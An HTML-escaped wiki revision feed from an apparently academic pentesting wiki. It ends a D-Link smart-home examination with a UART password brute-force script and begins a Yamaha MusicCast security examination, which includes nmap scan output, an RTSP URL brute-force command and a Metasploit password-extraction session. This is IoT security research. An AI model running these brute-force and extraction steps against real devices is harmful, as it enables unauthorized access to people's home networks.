	ser.write(str.encode(pw+&amp;quot;\n&amp;quot;))&lt;br /&gt;
	return 2&lt;br /&gt;
&lt;br /&gt;
def failed():&lt;br /&gt;
	enter()&lt;br /&gt;
	return 3&lt;br /&gt;
&lt;br /&gt;
def trypw():&lt;br /&gt;
	while 1:&lt;br /&gt;
		msg = getMsg()&lt;br /&gt;
		func = messages.get(msg, enter)&lt;br /&gt;
		if func()  == 3:&lt;br /&gt;
			return 0&lt;br /&gt;
		if time.time() &amp;gt; timeout:&lt;br /&gt;
			return 1&lt;br /&gt;
&lt;br /&gt;
# Main code&lt;br /&gt;
with open(wordlist) as f:&lt;br /&gt;
	for line in f:&lt;br /&gt;
		pw = line.strip()&lt;br /&gt;
		if trypw():&lt;br /&gt;
			print(pw)&lt;br /&gt;
&lt;br /&gt;
# Teardown&lt;br /&gt;
ser.close()&lt;br /&gt;
exit()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Once Privileged access is obtained on the Linux shell, the system as a whole can be examined. This includes analysis of configurations, binaries, system properties, and many more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Hardware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;[[D-LINK® DCH-G020 Gateway Connected Home Hub|D-Link® DCH-G020 Gateway Connected Home Hub]]&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;[[D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|D-Link® DCH-S150 Home Wi-Fi Motion Sensor]]&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;Dev. board providing UART (e.g. Raspberry Pi) or USB-to-TLL converter&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;References&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;ftp://ftp.dlink.de/dch/&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://eu.mydlink.com/content/productfamily&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;li&amp;gt;https://eu.dlink.com/uk/en/products/dch-g020-mydlink-connected-home-hub&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://eu.dlink.com/landing/products/dch-107kt-smart-home-security-kit&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;li&amp;gt;https://web.archive.org/web/20131226002253/http://www.sourcesec.com/2010/01/&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://fccid.io/KA2&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://fccid.io/KA2CHG020A1&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://fccid.io/KA2CHS150A1&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://cdn.sparkfun.com/datasheets/Dev/Arduino/Other/CH340DS1.PDF&amp;lt;/li&amp;gt;&lt;br /&gt;
   &amp;lt;li&amp;gt;https://www.sparkfun.com/tutorials/215&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_YAMAHA_MusicCast_devices&amp;diff=14623</id>
		<title>Examination of YAMAHA MusicCast devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_YAMAHA_MusicCast_devices&amp;diff=14623"/>
		<updated>2024-03-12T17:42:12Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The Yamaha Cooperation is known for its music and not for its digital security for good reason. The vulnerabilities discovered here are based on the use of an unauthenticated API over HTTP. Although this API is sold as a feature and does not necessarily pose a great security risk, it does allow you to have a lot of fun and full control over the functions of the device, as long as you are on the same network.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The Japanese [https://www.yamaha.com/ Yamaha Cooperation] is not only known for its motorcycles, but also for its love of music. Its history dates back to 1887 when the company founder Torakusu Yamaha successfully builds his first reed organ.&amp;lt;sup&amp;gt;[https://www.yamaha.com/en/about/pdf/corporate_profile_2018_en.pdf]&amp;lt;/sup&amp;gt; Over the years, the company has become the world&#039;s largest manufacturer of high quality pianos, but also holds a strong market position in other areas of the music industry. Since the company is also active in the digital sector, this article will focus on the [https://europe.yamaha.com/en/products/contents/audio_visual/musiccast/index.html MusicCast] product line. These products promise an exceptional sound experience in your own home cinema, so that everyone can enjoy his favourite Elvis songs in best sound quality.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;YAMAHA MusicCast&amp;lt;/h2&amp;gt;&lt;br /&gt;
[[File:YAMAHA MusicCast.png|300px|right|thumb|YAMAHA MusicCast&amp;lt;sup&amp;gt;[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/features.html#product-tabs]&amp;lt;/sup&amp;gt;]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;MusicCast represents the cutting edge of audio technology and trademark sound quality that Yamaha is renowned for.  From AV receivers to sound bars, to wireless speakers - whatever your needs are, MusicCast brings your home entertainment experience to a whole new level.&amp;lt;sup&amp;gt;[https://europe.yamaha.com/en/products/contents/audio_visual/musiccast/index.html]&amp;lt;/sup&amp;gt;MusicCast is a new revolution in network audio, use all your MusicCast products together or separately, it’s completely up to you. Control it, all from one app, designed to be intuitive, quick and simple to use. Use a soundbar, a wireless speaker, an AV Receiver, Hi-Fi audio whichever suits you best, mix and match then expand your MusicCast system as time goes on. All new from Yamaha, the MusicCast system brings everything to everywhere for &amp;lt;u&amp;gt;everyone&amp;lt;/u&amp;gt;.&amp;lt;sup&amp;gt;[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/features.html#product-tabs]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;YAMAHA YSP-2700: Soundbar&amp;lt;/h2&amp;gt;&lt;br /&gt;
[[File:YAMAHA MusicCast YSP-2700 Soundbar.png|300px|right|thumb|YAMAHA MusicCast YSP-2700 Soundbar&amp;lt;sup&amp;gt;[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/index.html#product-tabs]&amp;lt;/sup&amp;gt;]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Yamaha’s MusicCast YSP-2700 surround soundbar has received a 5 star award in the latest What Hi-Fi magazine, the 40th year anniversary issue 2016. The review talks about the exceptional dynamics and quality from a single bar at the front of your room, bouncing beams around the room to give you surround sound. Not only is it geared for movies but also for music and enjoying your favourite content.&amp;lt;sup&amp;gt;[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/index.html]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/specs.html#product-tabs Specs]&lt;br /&gt;
[https://europe.yamaha.com/en/products/audio_visual/sound_bar/ysp-2700/downloads.html#product-tabs Downloads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;YAMAHA Extended Control (YXC) API&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Yamaha Extended Control (YXC) is Yamaha’s new communication protocol sent over Ethernet and Wi-Fi to control MusicCast enabled devices. The basic specification includes the way to control power, change input, browse list, retrieve album art. The Advanced functions include MusicCast link function and others.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [[:File:Yamaha_Extended_Control_API_Specification_(Basic).pdf|Yamaha Extended Control API Specification (Basic)]]&lt;br /&gt;
* [[:File:Yamaha_Extended_Control_API_Specification_(Advanced).pdf|Yamaha Extended Control API Specification (Advanced)]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;!--&amp;lt;h2&amp;gt;Online&amp;lt;/h2&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A network scan and all other online methods like the calling the API is always possible, as this device is never completely switched off! &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The device doesn&#039;t use any authentication. Neither for the web interface nor for the API.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; YAMAHA MusicCast YSP-2700: Soundbar&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;/tcp    open  http     Yamaha AV device httpd (model: YSP-2700)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_http-favicon: Unknown favicon MD5: 731538E62E7F79E7418995F493609777&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;| http-methods: &amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_  Supported Methods: GET&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_http-server-header: Network_Module/1.0 (YSP-2700)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_http-title: System Configuration&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;5000&amp;lt;/b&amp;gt;/tcp  open  rtsp     Apple AirTunes rtspd 211.1 (Apple TV)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;49153&amp;lt;/b&amp;gt;/tcp open  unknown&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;49154&amp;lt;/b&amp;gt;/tcp open  http     Yamaha AV device httpd (model: YSP-2700)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;| http-methods: &amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_  Supported Methods: GET POST&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_http-server-header: Network_Module/1.0 (YSP-2700)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;|_http-title: Site doesn&#039;t have a title (application/octet-stream).&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;49999&amp;lt;/b&amp;gt;/tcp open  unknown&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;50000&amp;lt;/b&amp;gt;/tcp open  ibm-db2?&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;MAC Address&amp;lt;/b&amp;gt;: AC:44:F2:XX:YY:ZZ (Yamaha)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Device type&amp;lt;/b&amp;gt;: general purpose&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running&amp;lt;/b&amp;gt;: Linux 2.6.X|3.X&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;OS CPE&amp;lt;/b&amp;gt;: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;OS details&amp;lt;/b&amp;gt;: Linux 2.6.32 - 3.5&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;TCP/IP fingerprint&amp;lt;/b&amp;gt;:&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:SCAN(V=7.80%E=4%D=2/9%OT=80%CT=1%CU=32214%PV=Y%DS=1%DC=D%G=Y%M=AC44F2%TM&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:=5E402246%P=x86_64-apple-darwin18.6.0)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:%II=I%TS=7)OPS(O1=M5B4ST11NW2%O2=M5B4ST11NW2%O3=M5B4NNT11NW2%O4=M5B4ST11&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:NW2%O5=M5B4ST11NW2%O6=M5B4ST11)WIN(W1=3890%W2=3890%W3=3890%W4=3890%W5=38&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:90%W6=3890)ECN(R=Y%DF=Y%T=40%W=3908%O=M5B4NNSNW2%CC=Y%Q=)T1(R=Y%DF=Y%T=4&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:0%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=3890%S=O%A=S+%F=AS%O=M&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:5B4ST11NW2%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;TCP Sequence Prediction&amp;lt;/b&amp;gt;: Difficulty=262 (Good luck!)&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;IP ID Sequence Generation&amp;lt;/b&amp;gt;: All zeros&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Service Info&amp;lt;/b&amp;gt;: OS: Mac OS X; Device: media device; CPE: cpe:/o:apple:mac_os_x&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;!--&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Real Time Streaming Protocol (RTSP): Notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
* https://tools.ietf.org/html/rfc2326&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;NMAP: RTSP URL Detection&amp;lt;/b&amp;gt;&lt;br /&gt;
* https://nmap.org/nsedoc/scripts/rtsp-url-brute.html&lt;br /&gt;
* https://github.com/nmap/nmap/blob/master/nselib/data/rtsp-urls.txt&lt;br /&gt;
 &amp;lt;b&amp;gt;kali@kali:~$&amp;lt;/b&amp;gt; nmap --script ./rtsp-url-brute.nse --script-args &#039;urlfile=./rtsp-urls.txt&#039; -p $PORT $IP -A -d&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Metasploit: Apple Airport Extreme Password Extraction (WDBRPC)&amp;lt;/b&amp;gt;&lt;br /&gt;
* https://www.rapid7.com/db/modules/auxiliary/admin/vxworks/apple_airport_extreme_password&lt;br /&gt;
* https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;kali@kali:~$&amp;lt;/b&amp;gt; sudo service postgresql start&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;kali@kali:~$&amp;lt;/b&amp;gt; sudo msfdb init&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[i] Database already started&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[i] The database appears to be already configured, skipping initialization&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;kali@kali:~$&amp;lt;/b&amp;gt; sudo msfconsole&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;       =[ metasploit v5.0.70-dev                          ]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;+ -- --=[ 1960 exploits - 1094 auxiliary - 336 post       ]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;+ -- --=[ 7 evasion                                       ]&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 &amp;gt;&amp;lt;/b&amp;gt; use auxiliary/admin/vxworks/apple_airport_extreme_password&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/vxworks/apple_airport_extreme_password) &amp;gt;&amp;lt;/b&amp;gt; show options&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;Module options (auxiliary/admin/vxworks/apple_airport_extreme_password):&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   Name    Current Setting  Required  Description&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   ----    ---------------  --------  -----------&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax &#039;file:&amp;lt;path&amp;gt;&#039;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;   RPORT   17185            yes       The target port&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/vxworks/apple_airport_extreme_password) &amp;gt;&amp;lt;/b&amp;gt; set RHOSTS 192.168.86.248&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;RHOSTS =&amp;gt; $IP&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/vxworks/apple_airport_extreme_password) &amp;gt;&amp;lt;/b&amp;gt; set RPORT $PORT&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;RPORT =&amp;gt; $PORT&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;b&amp;gt;msf5 auxiliary(admin/vxworks/apple_airport_extreme_password) &amp;gt;&amp;lt;/b&amp;gt; run&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] Running module against $IP&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[-] $IP: No response from the target&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[-] No response to connection request&amp;lt;/span&amp;gt;&lt;br /&gt;
 &amp;lt;span style=&amp;quot;color: black&amp;quot;&amp;gt;[*] Auxiliary module execution completed&amp;lt;/span&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: bold;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; IBM Db2: Notes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
* https://www.ibm.com/products/db2-database&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;NMAP: IBM DB2 Administration Server (DAS) export server profile&amp;lt;/b&amp;gt;&lt;br /&gt;
* https://nmap.org/nsedoc/scripts/db2-das-info.html&lt;br /&gt;
* https://nmap.org/nsedoc/scripts/broadcast-db2-discover.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;IBM DB2 db2rcmd.exe Command Execution Vulnerability&amp;lt;/b&amp;gt;&lt;br /&gt;
* https://www.rapid7.com/db/modules/auxiliary/admin/db2/db2rcmd&lt;br /&gt;
&lt;br /&gt;
